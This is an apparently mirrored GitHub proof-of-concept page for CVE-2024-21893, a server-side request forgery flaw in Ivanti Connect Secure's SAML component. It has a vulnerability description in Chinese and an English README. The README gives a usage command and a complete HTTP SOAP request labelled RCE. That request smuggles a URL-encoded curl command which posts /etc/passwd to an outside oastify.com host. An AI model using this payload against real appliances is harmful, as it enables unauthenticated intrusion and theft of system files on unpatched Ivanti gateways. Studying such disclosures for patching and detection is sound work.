CVE-2024-21893 PoC — Ivanti Connect Secure 代码问题漏洞

Source

https://github.com/h4x0r-dz/CVE-2024-21893.py

Associated Vulnerability

Title:Ivanti Connect Secure 代码问题漏洞 (CVE-2024-21893)
Description:Ivanti Connect Secure是美国Ivanti公司的安全远程网络连接工具。 Ivanti Connect Secure 、Ivanti Policy Secure9.x、22.x系列版本和Ivanti Neurons for ZTA存在代码问题漏洞，该漏洞源于SAML 组件中的存在服务器端请求伪造漏洞，允许攻击者无需身份验证访问某些受限资源。

Description

CVE-2024-21893: SSRF Vulnerability in Ivanti Connect Secure

Readme

CVE-2024-21893 is  server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

run `python CVE-2024-21893.py -u target.com -a http://xxxxxxxxx.oastify.com`

![image](https://github.com/h4x0r-dz/CVE-2024-21893.py/assets/26070859/bec33c87-a6c7-4db3-aedc-5749e994c917)

![image](https://github.com/h4x0r-dz/CVE-2024-21893.py/assets/26070859/c38f93de-379b-4b76-8326-e66c019dfa2a)

### RCE 

```
POST /dana-ws/saml20.ws HTTP/1.1
Host: target.com
Accept: */*
Content-Type: text/xml
Content-Length: 934
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3bcurl%20-X%20POST%20-d%20%40%2fetc%2fpasswd%20http%3a%2f%2f8oxxxxxxxxxxxxx.oastify.com%3b"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

```

![image](https://github.com/h4x0r-dz/CVE-2024-21893.py/assets/26070859/e7d7180a-b158-4437-9dd9-97d4c55539c9)


Reference : https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis

File Snapshot


 [4.0K]  /data/pocs/ffbb8da66f82468ee6356b04459104ad74ae1250
├── [2.7K]  CVE-2024-21893.py
└── [1.8K]  README.md

0 directories, 2 files

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